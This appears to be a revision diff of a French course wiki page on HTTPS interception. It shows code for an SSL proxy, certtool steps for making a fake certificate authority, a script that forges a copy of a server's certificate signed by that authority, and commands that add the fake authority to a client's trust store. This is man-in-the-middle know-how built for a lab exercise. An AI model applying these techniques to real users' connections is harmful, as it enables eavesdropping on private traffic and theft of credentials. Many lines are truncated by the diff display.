secres:https-interception
Differences
This shows you the differences between two versions of the page.
| Both sides previous revisionPrevious revisionNext revision | Previous revision | ||
| secres:https-interception [2017/11/24 15:04] – [Interception HTTPS] orel | secres:https-interception [2024/03/18 15:06] (current) – external edit 127.0.0.1 | ||
|---|---|---|---|
| Line 3: | Line 3: | ||
| Nous allons mettre en oeuvre le mécanisme d' | Nous allons mettre en oeuvre le mécanisme d' | ||
| - | Le code et la documentation du projet sont ici : https:// | ||
| + | Considérons le réseau suivant : | ||
| - | === Démo === | ||
| - | Considérons le réseau suivant | + | Client Web < |
| - | Client Web < | + | === Proxy SSL === |
| - | | + | Voici le code de notre proxy SSL : |
| <code python sslproxy.py> | <code python sslproxy.py> | ||
| Line 20: | Line 19: | ||
| import ssl | import ssl | ||
| import sys | import sys | ||
| - | import OpenSSL | ||
| import time | import time | ||
| import datetime | import datetime | ||
| Line 127: | Line 125: | ||
| main() | main() | ||
| </ | </ | ||
| + | |||
| + | === Génération des faux certificats === | ||
| + | |||
| + | Commençons par générer un //fake CA// : | ||
| + | |||
| + | $ certtool --generate-privkey --outfile fake-ca-key.pem | ||
| + | $ certtool --generate-self-signed --load-privkey fake-ca-key.pem --outfile fake-ca-cert.pem | ||
| + | |||
| + | Voici les réponses à donner strictement : | ||
| + | |||
| + | * La plupart des champs peuvent rester vides. | ||
| + | * Common name: FAKECA | ||
| + | * The certificate will expire in (days): 255 | ||
| + | * Does the certificate belong to an authority? (y/N): y | ||
| + | * Will the certificate be used to sign other certificates? | ||
| + | * CRL signing: y | ||
| + | * All other extensions: NO (required) | ||
| + | |||
| + | Pour afficher le contenu de son certificat : | ||
| + | |||
| + | $ certtool --infile fake-ca-cert.pem -i | ||
| + | |||
| + | Générons maintenant le //fake// certifcat de notre serveur. | ||
| + | |||
| + | $ certtool --generate-privkey --outfile fake-server-key.pem | ||
| + | $ certtool --generate-certificate --load-privkey fake-server-key.pem --outfile fake-server-cert.pem --load-ca-certificate fake-ca-cert.pem --load-ca-privkey fake-ca-key.pem | ||
| + | |||
| + | Voici les réponses à donner strictement : | ||
| + | |||
| + | * La plupart des champs peuvent rester vides | ||
| + | * CN=nile.metal.fr | ||
| + | * DNSName=nile.metal.fr | ||
| + | * IP address=10.0.0.2 | ||
| + | * The certificate will expire in (days): 255 | ||
| + | * Will the certificate be used for signing (required for TLS)? (y/N): y | ||
| + | * Will the certificate be used for encryption (not required for TLS)? (y/N): y | ||
| + | |||
| + | Vous pouvez également utiliser le script suivant pour générer automatiquent le //fake// certificat pour le serveur nile.metal.fr : | ||
| + | |||
| + | ./ | ||
| + | |||
| + | <code python gen-fake-cert.py> | ||
| + | # | ||
| + | import socket | ||
| + | import ssl | ||
| + | import sys | ||
| + | import pprint | ||
| + | import OpenSSL | ||
| + | import time | ||
| + | import datetime | ||
| + | import os | ||
| + | import struct | ||
| + | |||
| + | # this certificate must be trusted by the client victim! | ||
| + | FAKE_CA_CERT = " | ||
| + | FAKE_CA_KEY = " | ||
| + | |||
| + | # a fake certificate for the server that is a copy of the actual certificate except it is signed by our fake CA | ||
| + | FAKE_SERVER_CERT = " | ||
| + | FAKE_SERVER_KEY = " | ||
| + | |||
| + | ######### MISC ######### | ||
| + | |||
| + | def log_message(format, | ||
| + | sys.stderr.write(" | ||
| + | |||
| + | ######### Certificate Tools ######### | ||
| + | |||
| + | # cert input are assuming to be x509 | ||
| + | |||
| + | # save x509 cert file (PEM format) | ||
| + | def save_cert(cert, | ||
| + | certfile = open(path, " | ||
| + | certfile.write(OpenSSL.crypto.dump_certificate(OpenSSL.crypto.FILETYPE_PEM, | ||
| + | certfile.close() | ||
| + | |||
| + | # save private key file (PEM format) | ||
| + | def save_key(key, | ||
| + | keyfile = open(path, " | ||
| + | keyfile.write(OpenSSL.crypto.dump_privatekey(OpenSSL.crypto.FILETYPE_PEM, | ||
| + | keyfile.close() | ||
| + | |||
| + | def load_cert(path): | ||
| + | certfile = open(path, ' | ||
| + | cert = OpenSSL.crypto.load_certificate(OpenSSL.crypto.FILETYPE_PEM, | ||
| + | certfile.close() | ||
| + | return cert | ||
| + | |||
| + | def load_key(path): | ||
| + | keyfile = open(path, ' | ||
| + | key = OpenSSL.crypto.load_privatekey(OpenSSL.crypto.FILETYPE_PEM, | ||
| + | keyfile.close() | ||
| + | return key | ||
| + | |||
| + | ######### Generate Fake Certificate ######### | ||
| + | |||
| + | def generate_fake_cert(cert, | ||
| + | |||
| + | # get CN & SAN from x509 cert | ||
| + | cn = cert.get_subject().CN | ||
| + | ext = None | ||
| + | for idx in range(cert.get_extension_count()): | ||
| + | ext = cert.get_extension(idx) | ||
| + | if(ext.get_short_name() == b' | ||
| + | # if DEBUG: print(" | ||
| + | |||
| + | # create a key pair | ||
| + | fakekey = OpenSSL.crypto.PKey() | ||
| + | fakekey.generate_key(OpenSSL.crypto.TYPE_RSA, | ||
| + | |||
| + | # create a new x509 cert | ||
| + | fakecert = OpenSSL.crypto.X509() | ||
| + | fakecert.get_subject().CN = cn | ||
| + | fakecert.set_serial_number(int(time.time())) | ||
| + | fakecert.gmtime_adj_notBefore( 0 ) # not valid before today | ||
| + | fakecert.gmtime_adj_notAfter( 60*60*24*365*5 ) # not valid after 5 years | ||
| + | fakecert.set_pubkey(fakekey) | ||
| + | fakecert.set_version(0x2) # set certificate version to X509 v3 (0x2), required for X509 extensions | ||
| + | |||
| + | # add subjectAltName X509 extension (SAN) | ||
| + | if ext: fakecert.add_extensions([ext]) | ||
| + | |||
| + | # set issuer and CA signature | ||
| + | fakecert.set_issuer(cacert.get_subject()) | ||
| + | fakecert.sign(cakey, | ||
| + | fakecert.sign(cakey, | ||
| + | |||
| + | return (fakecert, fakekey) | ||
| + | |||
| + | |||
| + | ######### Main Program | ||
| + | |||
| + | if len(sys.argv) != 3: | ||
| + | sys.stderr.write(" | ||
| + | sys.exit(1) | ||
| + | |||
| + | SERVERHOST = sys.argv[1] | ||
| + | SERVERPORT = int(sys.argv[2]) | ||
| + | serveraddr = (SERVERHOST, | ||
| + | |||
| + | # load CA cert & CA key (x509) | ||
| + | fakecacert = load_cert(FAKE_CA_CERT) | ||
| + | fakecakey = load_key(FAKE_CA_KEY) | ||
| + | |||
| + | sslservercert = ssl.get_server_certificate(serveraddr) | ||
| + | servercert = OpenSSL.crypto.load_certificate(OpenSSL.crypto.FILETYPE_PEM, | ||
| + | servercn = servercert.get_subject().CN | ||
| + | log_message(' | ||
| + | |||
| + | fakeservercert, | ||
| + | save_cert(fakeservercert, | ||
| + | save_key(fakeserverkey, | ||
| + | log_message(' | ||
| + | </ | ||
| + | | ||
| + | |||
| + | === Lancement du Proxy HTTPS === | ||
| Lancement du proxy : | Lancement du proxy : | ||
| Line 134: | Line 289: | ||
| ./ | ./ | ||
| + | === Mise en oeuvre avec un client === | ||
| - | Lancement du client : | + | Sur le client : |
| - | wget https:// | + | wget -4 --ca-certificate=fake-ca-cert.pem https:// |
| + | |||
| + | Pour ajouter le //fake// CA dans le store du client, il faut faire : | ||
| + | |||
| + | cp ca-cert.pem ca-cert.crt # renommage | ||
| + | cp ca-cert.crt / | ||
| + | dpkg-reconfigure ca-certificates | ||
| + | |||
| + | Puis, il suffit de faire : | ||
| + | |||
| + | wget -4 https:// | ||
| | | ||
| + | |||
| + | Video de démo par A. Guermouche : https:// | ||
| ==== Documentation ==== | ==== Documentation ==== | ||
| + | |||
| + | Le code et la documentation du projet (version antérieure) sont ici : https:// | ||
| About HTTPS interception: | About HTTPS interception: | ||
secres/https-interception.1511535888.txt.gz · Last modified: 2024/03/18 15:05 (external edit)
